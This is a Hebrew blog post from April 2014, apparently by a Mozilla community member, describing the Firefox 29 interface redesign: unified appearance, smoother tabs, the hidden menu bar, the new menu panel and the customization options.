גוגל ביצעו את השינוי המיוחל שלקח לדפדפנים האחרים זמן מה לממש בעצמם. גוגל הציגו לקהל דפדפן ששם את הגלישה במרכז ומצמצם למינימום את הממשק שמסביב, ובכך עוזר למשתמש למקד את המשתמש באתר עצמו כאשר מהממשק המשתמש הוסרו לחלוטין אלמנטים רבים לרבות שורת התפריטים, תיבת החיפוש ועוד. למרות זאת, נשאר דמיון ניכר לעין בין המראה של גוגל כרום לזה של שאר הדפדפנים מהתקופה – לשוניות, שורת כתובת, כפתורי ניווט וכדומה; אף־אחד לא האשים את גוגל בהעתקת אלמנטים מהמראה של דפדפנים אחרים פשוט כי מדובר ברכיבי הממשק שהורגלנו אליהם והשתמשנו בהם בקביעות. עברו מספר שנים מאז, והמראה של גוגל כרום לא השתנה באופן ניכר לעין.

Google Chrome 1 UI taken from Google Chrome comic book

תרשים הממשק של גוגל כרום כפי שהוצג לראשונה בחוברת הקומיקס של גוגל.

דפדפנים אחרים לא קפאו על שמריהם בשנים שעברו מאז, וכל אחד מהם השקיע מאמצים רבים בפיתוח של תכונות חדשות בממשק הדפדפן ולעתים קרובות גם אימוץ של תכונות שהופיעו בצורה זו או אחרת בדפדפנים אחרים. אני מתייחס ברשומה זו לתכונות הקשורות לממשק המשתמש אבל חשוב לזכור כי הדפדפנים הם לא רק המעטפת אלא גם המנוע שאחראי להצגת התכנים, ובשנים האחרונות המנועים של כל הדפדפנים עברו שדרוגים משמעותיים.

למשל שורת הכתובת, שבעבר הופיעו בה כתובות קודמות שהמשתמש ביקר בהן כעת הפכו לחכמות יותר; גוגל למשל נוהגים לשלב בהן בכרום תוצאות חיפוש, בעוד בפיירפוקס ניתן דגש להיסטורית הגלישה של המשתמש ולסימניות. דפי הפתיחה הפכו להיות מותאמים יותר למשתמש ומציגים את האתרים המועדפים על המשתמש, וכדומה. באופן דומה לשינויי הממשק ביישומים אחרים, דוגמת סרגלי הכלים של Microsoft Office בגרסאותיו האחרונות, שינוי אופן השימוש בסביבות עבודה מובילות בלינוקס דוגמת Gnome ו־KDE, כיום מקובל לתת דגש רב יותר על הפעולות שנמצאות בשימוש תדיר, ולהצניע כפתורים ופעולות שהמשתמש אינו נוהג להשתמש בהן.

לאחר הקדמה ארוכה זו, כאן אנחנו מגיעים חזרה להווה, ואל השינויים שרציתי להתייחס אליהם בקשר לגרסה החדשה של פיירפוקס.

אחידות – בראש ובראשונה המראה החדש של פיירפוקס נועד לייצר אחידות בין הגרסאות השונות של הדפדפן. כיום ישנן גרסאות של הדפדפן למחשבים, לטלפונים חכמים מבוססי אנדרואיד וגם למערכת ההפעלה שמוזילה עמלים כרגע על הפיתוח שלה, Firefox OS. כמו כן, במחשבים אישיים הדפדפן זמין לשלוש פלטפורמות שונות, ווינדוס, מקינטוש ולינוקס, והמראה בניהן לא תמיד היה זהה. המראה החדש של פיירפוקס מופיע כעת לראשונה במחשבים האישיים, אבל אפשר היה להבחין במוטיבים שונים ממנו בגרסה לאנדרואיד מזה זמן מה, כך שמדובר כעת באיחוד המראה של הדפדפן והפונקציונליות שלו בין סביבות עבודה שונות. במקור תוכן גם עיצוב ממשק דומה עבור ממשק המטרו של ווינדוס 8, אבל לאחרונה הוחלט להקפיא את העבודה עליו עקב היעדר דרישה לו מצד קהל המשתמשים.

לחצו כדי לצפות במצגת.

לשוניות חלקות – בראשית ימיהן, שורת לשוניות בדפדפנים הייתה דומות בצורה ויזואלית לשורת כפתורים כאשר כל כפתור מעביר לדף הנבחר. בהמשך הן קיבלו מראה שמזכיר במקצת מראה תלת ממדי כאשר האתר הפעיל היה מופיע בצורה מובלטת יותר משאר האתרים. בגרסה החדשה של פיירפוקס הלשוניות זכו למראה חלק ונעים לעין.

המראה החדש של פיירפוקס במחשב האישי

שורת התפריטים מפנה את מקומה – שורת התפריטים היא שריד מתקופה בה ממשקי משתמש כללו עשרות פריטים מוסתרים בתפריטים. נהוג היה לקבץ פריטים דומים בתפריט אחד, כך שלמשל הפעולות של פתיחה ושמירת קבצים היו מופיעות תחת תפריט "קובץ", ופעולות גזירה והדבקה של טקסט בתפריט "עריכה", אבל עם הזמן נוספו לתפריטים פעולות שלא ברור למה הן מוקמו באותם המקומות כמו פעולת ההדפסה בתפריט "קובץ" למרות שלכאורה לא מדובר כאן בפעולה שקשורה ישירות למערכת הקבצים, ומוסכמות מוזרות יותר כמו תפריט "כלים" שכלל אוסף לא ברור של פעולות בניהן האפשרות לגשת להגדרות היישום (כלים ← אפשרויות), בעוד במערכות הפעלה אחרות אותו פריט הגדרות הסתתר בכלל בתפריט עריכה (עריכה ← העדפות). בגרסה זו הוגדר כי תפריטי הכלים לא יופיעו כלל, אבל אל דאגה, הם עדיין קיימים ונגישים בלחיצה על המקש Alt במקלדת ובקיצורי מקשים דומים.

תפריט מאוחד חדש – ההחלטה להעלים את שורת התפריטים לא חדשה, ולמעשה בסביבות עבודה מסוימות התפריטים מוסתרים כבר מזה זמן מה. את התפריטים החליף כפתור כתוב עם הכיתוב Firefox שהיה מופיע גם בצבעים שונים בהתאם לגרסה שהופעלה ולמצב הגלישה הפרטי. בגרסה זו של פיירפוקס הוחלף התפריט הטקסטואלי בתפריט מאוחד חדש שכולל צלמיות גדולות וברורות לפעולות נפוצות נוספות.

Firefox 29 menu panel screenshot

לוח התפריט המאוחד בפיירפוקס 29

התאמה אישית של פקדי הממשק – רבים נוהגים להשוות את פיירפוקס לדפדפנים אחרים כפי שכתבתי בתחילתה של רשומה זו. אותם אנשים לעתים קרובות מתעלמים מיכולות ההתאמה האישית המגוונות של פיירפוקס, המאפשרות לשלוט באופן מיטבי במראה הדפדפן וגם בפונקציונליות הממשק שלו. בגרסה זו הוחלף מנגנון ההתאמה האישית של הממשק במסך התאמה אישית חדש, המאפשר למשתמשים להזיז כל אחד מהפקדים בממשק, ולראשונה גם לשלוט בפקדים שיופיעו בתפריט.

Firefox 29 customization screenshot

התאמה אישית של פקדי הדפדפן

יכולות ההתאמה האישית מאפשרות להזיז את הפקדים השונים בממשק ואף להסיר פריטים שלא נחוצים. למשל אנשים שלא מעוניינים בתיבת חיפוש יכולים להסיר אותה ללא חשש ולהמשיך לבצע את החיפושים דרך תיבת המיקום (שורת הכתובת). אנשים שמעוניינים להשתמש בדפדפן לצורכי תצוגה יכולים לבחור להסיר מהדפדפן את תיבת המיקום כמו גם את שאר הכפתורים בממשק ובכך להקשות על משתמשים מזדמנים לעבור לאתרים אחרים. למעשה, בזכות אפשרויות ההתאמה האישית בתפריט החדש ניתן אף למקם בתוכו פקדים שונים כרצונם, ואנשים מוכשרים שהתפריט כלל אינו נחוץ להם יכולים לבחור להסיר ממנו את כל הפקדים.

פיירפוקס עם מראה מותאם אישית

פיירפוקס עם מראה מותאם אישית

בר הרחבה – ללא ספק, הרחבות מאפשרות לשנות את מראה הדפדפן ואופן התפקוד שלו. המראה החדש שומר על קו עיצובי עם המראה של הדפדפן בסביבות אחרות, אבל לא נחסמת האפשרות לבצע בו שינויים ושיפורים הן באמצעות תפריטי היישום, העדפות נסתרות, ערכות נושא והרחבות. אנשים שלא אוהבים את המראה החדש של הדפדפן יכולים, למשל, לבחור להשתמש בהרחבה Classic Theme Restorer המתיימרת להחזיר לדפדפן את המראה השמרני והמרובע, או להתקין כל אחת מאלפי ערכות הנושא הזמינות באתר התוספות.

הלאה אל העתיד – המראה החדש של הדפדפן לא צפוי להשתנות באופן ניכר בגרסאות הבאות, אבל אין זה אומר שלא יבוצעו במראה הדפדפן בגרסאות הבאות. החל משילוב תכונות מדף הלשונית החדשה בדף הפתיחה, המשך העברת חלונות יישום ללשוניות (נסו להקליד בשורת הכתובת about:permissions או about:preferences כדי לצפות במימוש החלקי עוד היום), החלפת תפריטי ההקשר הטקסטואליים בתפריט נוח יותר לשימוש שניתן להתאמה אישית בדומה ללוח התפריט החדש, יכולות הטמעה משופרות ליישומי רשת שיוצגו במסכים משלהם ללא סרגלי הדפדפן זאת כדי להתאים את המראה והתפקוד שלהם ליישומים טבעיים במערכת, ועוד ועוד, השמיים הם הגבול.

כמובן, במוזילה המשתמשים הם במרכז העניינים, ויכולים להשפיע בצורה משמעותית על כיווני ההתפתחות העתידיים של הדפדפן. למעשה, ארגון מוזילה מתנהל בשקיפות, וכל אדם הרוצה בכך יכול לצפות במרבית הפעילות של מוזילה. קוד המקור של הגרסאות הבאות של היישומים השונים כבר זמין ברשת כקוד פתוח, דיווחי התקדמות במימוש של תכונות שונות זמין לכל דורש, וכל מי שמעריכים את העקרונות של מוזילה מוזמנים ומוזמנות להצטרף לקהילה הרחבה של מוזילה ולעזור לנו לעצב את העתיד.

הטקסט המלא

22 April, 2014 04:07 AM